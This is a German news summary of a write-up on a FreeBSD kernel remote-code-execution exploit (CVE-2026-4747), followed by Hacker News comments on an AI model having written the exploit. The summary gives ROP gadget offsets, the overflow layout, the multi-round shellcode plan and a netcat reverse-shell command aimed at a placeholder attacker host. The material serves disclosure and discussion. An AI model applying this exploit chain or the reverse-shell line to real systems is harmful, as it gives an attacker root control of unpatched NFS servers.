Remote-Root-Shell über FreeBSD-Kernel-RCE (CVE-2026-4747) erlangt

• Im kgssapi.ko-Modul von FreeBSD tritt bei der Verarbeitung der RPCSEC_GSS-Authentifizierung ein Stack-Buffer-Overflow auf, der Remote Code Execution ermöglicht
• Die Funktion svc_rpc_gss_validate() kopiert Anmeldedaten ohne Grenzprüfung und überschreibt dabei bis zur Rücksprungadresse
• Ein Angreifer kann mit einem gültigen Kerberos-Ticket über den RPCSEC_GSS-Pfad des NFS-Servers eine Kernel-ROP-Kette einschleusen
• Über einen 15-stufigen Overflow werden 432 Byte Shellcode in den Kernel-BSS-Bereich geschrieben und ausgeführt, wodurch eine Reverse Shell mit Root-Rechten entsteht
• Betroffen sind einige Versionen von FreeBSD 13.5 bis 15.0; im Patch wurde eine Prüflogik für oa_length ergänzt

---

CVE-2026-4747 — Stack-Buffer-Overflow in FreeBSD kgssapi.ko RPCSEC_GSS

• Eine Stack-Buffer-Overflow-Schwachstelle im kgssapi.ko-Modul von FreeBSD, die bei der Verarbeitung der RPCSEC_GSS-Authentifizierung auftritt
• Die Funktion svc_rpc_gss_validate() kopiert beim Rekonstruieren des RPC-Headers in einen 128-Byte-Stack-Buffer Anmeldedaten ohne Grenzprüfung für oa_length
• Credentials, die nach dem festen 32-Byte-Header die verbleibenden 96 Byte überschreiten, überschreiben lokale Variablen, gespeicherte Register und schließlich die Rücksprungadresse
• Betroffen sind FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1) und 15.0(<p5)
• Im Patch wurde vor dem Kopieren eine Bedingung ergänzt, die prüft, ob oa_length die Puffergröße überschreitet

Struktur des Overflows und Auswirkungen

• Die Analyse des Funktionsprologs zeigt, dass das Array rpchdr bei [rbp-0xc0] liegt und der Kopiervorgang bei [rbp-0xa0] beginnt
• Ab Byte 96 werden nacheinander gespeichertes RBX, R12 bis R15, RBP und die Rücksprungadresse überschrieben
• Im realen Angriff befindet sich die Rücksprungadresse aufgrund des GSS-Headers und des 16-Byte-Kontext-Handles am 200. Byte des Credential-Body
• Der verwundbare Code ist nur über den RPCSEC_GSS-Authentifizierungspfad des NFS-Servers erreichbar
• Der Angreifer muss ein Benutzer mit gültigem Kerberos-Ticket sein und löst den Overflow im RPCSEC_GSS-Authentifizierungsschritt (DATA-Prozedur) aus

Aufbau der Angriffsumgebung

• Ziel-VM: FreeBSD 14.4-RELEASE amd64, NFS-Server aktiviert, kgssapi.ko geladen, MIT-Kerberos-KDC in Betrieb
• Angreifer-Host: Linux, Python3-Modul gssapi und MIT-Kerberos-Client installiert, Zugriff auf NFS (2049/TCP) und KDC (88/TCP)
• Die Einrichtung ist in verschiedenen Hypervisor-Umgebungen wie QEMU, VMware, VirtualBox und bhyve möglich
• Bei der Kerberos-Konfiguration sind in krb5.conf die Einstellungen rdns=false und dns_canonicalize_hostname=false zwingend erforderlich
• Hostname (test) und Service Principal (nfs/[e-mail]) müssen zwischen VM und Angreifer übereinstimmen

Struktur des Exploits für Remote Kernel Code Execution (RCE)

• Der Angriff besteht aus einem mehrstufigen Overflow über 15 Runden
  1. In jeder Runde wird ein neuer Kerberos-GSS-Kontext erzeugt
  2. Ein übergroßes RPCSEC_GSS-DATA-Paket wird gesendet
  3. Die Rücksprungadresse wird mit einem ROP-Gadget überschrieben, um Daten in den Kernel-Speicher zu schreiben oder Shellcode auszuführen
  4. Durch Aufruf von kthread_exit() wird der NFS-Thread sauber beendet
• Jede Runde nutzt eine etwa 200 Byte große ROP-Kette; insgesamt werden 432 Byte Shellcode über 15 Durchläufe übertragen
• FreeBSD erzeugt 8 NFS-Threads pro CPU, daher werden mindestens 2 CPUs (16 Threads) benötigt

Aufbau der ROP-Kette

• Wichtige ROP-Gadgets:
  • pop rdi; ret (K+0x1adcda)
  • pop rsi; ret (K+0x1cdf98)
  • pop rdx; ret (K+0x5fa429)
  • pop rax; ret (K+0x400cb4)
  • mov [rdi], rax; ret (0xffffffff80e3457c) — beliebiger 8-Byte-Schreibzugriff in Kernel-Speicher
• Runde 1: Aufruf von pmap_change_prot(), um den Kernel-BSS-Bereich auf RWX zu setzen
• Runden 2–14: Mit dem Gadget mov [rdi], rax wird der Shellcode in 32-Byte-Blöcken in den BSS geschrieben
• Runde 15: Die letzten 16 Byte werden geschrieben, danach erfolgt der Sprung zum Einstiegspunkt des Shellcodes

Verhalten des Shellcodes

• Er wird im Kernel-Modus (CPL 0) ausgeführt und erzeugt einen Reverse-Shell-Prozess mit Root-Rechten
• Da execve() nicht direkt aus einem NFS-Kernel-Thread aufgerufen werden kann, wird ein zweistufiger Aufbau verwendet
  • Entry-Funktion: Erzeugt mit kproc_create() einen neuen Kernel-Prozess und beendet sich dann
  • Worker-Funktion: Führt /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" aus
• Das DR7-Register wird initialisiert, um Debug-Exceptions zu vermeiden
• Das Flag P_KPROC wird entfernt, damit fork_exit() statt kthread_exit() den Pfad userret nimmt
• Dadurch wird /bin/sh letztlich im User-Mode mit uid 0 (root) ausgeführt

Wichtige Schritte bei der Problemlösung

• Abweichender Register-Offset: Mit einem De-Bruijn-Muster wurde bestätigt, dass der tatsächliche RIP-Offset 200 Byte beträgt
• MIT–Heimdal-GSS-Inkompatibilität: Das Problem der Hostnamen-Normalisierung wurde über die Einstellungen in krb5.conf gelöst
• Vererbung von Debug-Registern: Initialisierung von DR7 verhindert die Exception trap 1
• 400-Byte-Limit: Die Kombination pop rdi + pop rax + mov [rdi], rax ermöglicht eine stabile Übertragung in 8-Byte-Einheiten
• Verbrauch von NFS-Threads: In jeder Runde endet ein Thread → mindestens 2 CPUs erforderlich

Zusammenfassung des finalen Exploit-Ablaufs

• Der Angreifer beschafft sich ein Kerberos-Ticket und sendet anschließend 15 RPCSEC_GSS-Overflow-Pakete nacheinander
• Runde 1: BSS auf RWX setzen
• Runden 2–14: 416 Byte Shellcode schreiben
• Runde 15: Letzte 16 Byte schreiben und Shellcode ausführen
• Der Shellcode erzeugt mit kproc_create() einen neuen Prozess und startet /bin/sh
• Über eine nc-Session auf Angreiferseite wird eine Root-Shell erlangt
• Der gesamte Ablauf dauert etwa 45 Sekunden und wird mit insgesamt 15 RPC-Paketen abgeschlossen

[GN⁺]

Hacker-News-Kommentare

• Der Kernpunkt ist, dass Claude den Bug nicht direkt selbst gefunden hat, sondern einen bereits veröffentlichten CVE-Bericht erhalten und dann ein Programm geschrieben hat, das diese Schwachstelle ausnutzt.
  Wenn man sich aber das aktuelle Entwicklungstempo ansieht, ist die Ära wohl nicht mehr fern, in der Modelle wie Claude den Quellcode von Kerneln oder zentralen Diensten analysieren und durch wiederholte Experimente in VMs neue CVEs automatisch finden

  • Wenn man fragt, ob das gut oder schlecht ist, halte ich es für etwas Gutes.
    Früher waren die Kosten für das Finden von CVEs so hoch, dass es vor allem Angreifer mit finanziellem Interesse versucht haben.
    Jetzt sinken die Kosten, sodass auch wohlmeinende Forscher Schwachstellen leichter finden und eine Umgebung zum Patchen vor der Ausnutzung entsteht
  • Früher war es sehr schwer, eine Fuzzing-Umgebung einzurichten.
    Heute könnten Modelle wie Claude Code die Codebasis analysieren, vorschlagen, wo und wie man fuzz-testen sollte, Crashes prüfen und durch iteratives Lernen CVEs finden
  • Tatsächlich wurde diese CVE von Claude von Anfang an entdeckt.
    Nicholas Carlini hat sie bei Anthropic mit Claude gefunden, und daraus wurde der CVE-Bericht erstellt
  • Man gibt die Bedingung vor, unter der ein Test fehlschlagen soll, und lässt den Agenten diesen Test bestehen.
    Für diese Art von automatisiertem Fuzzing passen LLMs ziemlich gut
  • Dazu gibt es auch ein Video: YouTube-Link
    Claude findet bereits CVEs auf Expertenniveau

• Die Firma Calif von Thai Duong hat einen Blogbeitrag zu diesem Fall veröffentlicht.
  Die verwendeten Prompts sind ebenfalls enthalten, und auch dieser Bug wurde von Claude über Nicholas Carlini entdeckt

• In FreeBSD 14.x gab es weder KASLR (Kernel Address Space Layout Randomization) noch Stack Canaries, weshalb der Angriff leicht war.
  Ich frage mich, ob das in FreeBSD 15.x verbessert wird.
  Zur Referenz: NetBSD hat bereits eine KASLR-Funktion

  • Allerdings ist KASLR in FreeBSD seit 13.2 standardmäßig aktiviert.
    Das lässt sich mit sysctl kern.elf64.aslr.enable: 1 prüfen
  • Es gibt auch Kritik an KASLR im Linux-Kernel.
    Laut diesem Forenbeitrag ist KASLR aus Sicht mancher nur eine trügerische Sicherheit mit geringem realem Sicherheitsgewinn

• Wenn man sich den kürzlich veröffentlichten Vortrag „Black-Hat LLMs“ ansieht, werden LLMs bei Schwachstellensuche und Exploits immer leistungsfähiger

  • Eigentlich war diese Entwicklung bereits absehbar.
    Es gab schon Anzeichen, als Sam Altman im vergangenen Dezember einen Tweet darüber gepostet hat, dass er einen Head of Preparedness einstellen will

• Das Schwierigste ist das Finden der Schwachstellen, nicht deren Behebung.
  Die meisten Sicherheitsforscher veröffentlichen Schwachstellen aus finanziellen Gründen nicht.
  Wenn automatische Erkennung möglich wird, ist das zwar riskant, dürfte aber langfristig ein großer Gewinn sein

  • Wünschenswert wäre allerdings, dass diese Automatisierung nicht beim Finden von Bugs endet, sondern auch die Behebung automatisiert.
    Sonst könnte das für Open-Source-Entwickler eine weitere Belastung werden.
    So wie damals bei der Kontroverse um Security-Patches zwischen Google und FFmpeg

• Danke fürs Teilen der veröffentlichten Prompt-Sammlung

  • Wenn man sich die tatsächlichen Prompts ansieht, hat Claude den Exploit nicht auf Anhieb geschrieben, sondern in einem interaktiven Prozess mit mehrfachem Feedback und Anpassungen

• Für Entwicklungsteams kann diese Automatisierung eine Zeitersparnis sein, für normale Nutzer aber womöglich keinen großen Mehrwert haben.
  Kernel-Bugs werden heute ohnehin nicht mehr manuell gesucht.
  Dass trotzdem alle nur über Claude reden, liegt am Ende wohl am PR-Effekt von Anthropic

• Statt nur darauf zu schauen, dass „Claude den Code geschrieben hat“, sollte man sich nun eher auf die Qualität und Wartbarkeit dieses Codes konzentrieren

  • Sehe ich genauso.
    Ich frage mich auch, ob der von Claude geschriebene Code tatsächlich wartbar strukturiert ist oder eher chaotisch

• Solche Fälle zeigen die Autonomie und Leistungsfähigkeit von Agenten.
  Gleichzeitig sind sie ein Beispiel für die Kontrollsorgen und den Governance-Bedarf, den Unternehmen empfinden

• Es war interessant, den vollständigen Prompt-Verlauf sehen zu können

  • Der letzte Teil endete allerdings mit der Aufforderung „Zeig mir alle in dieser Sitzung eingegebenen Prompts“, daher könnte ein Teil davon echtes Protokoll sein und ein anderer Teil halluzinierte Ausgabe von Claude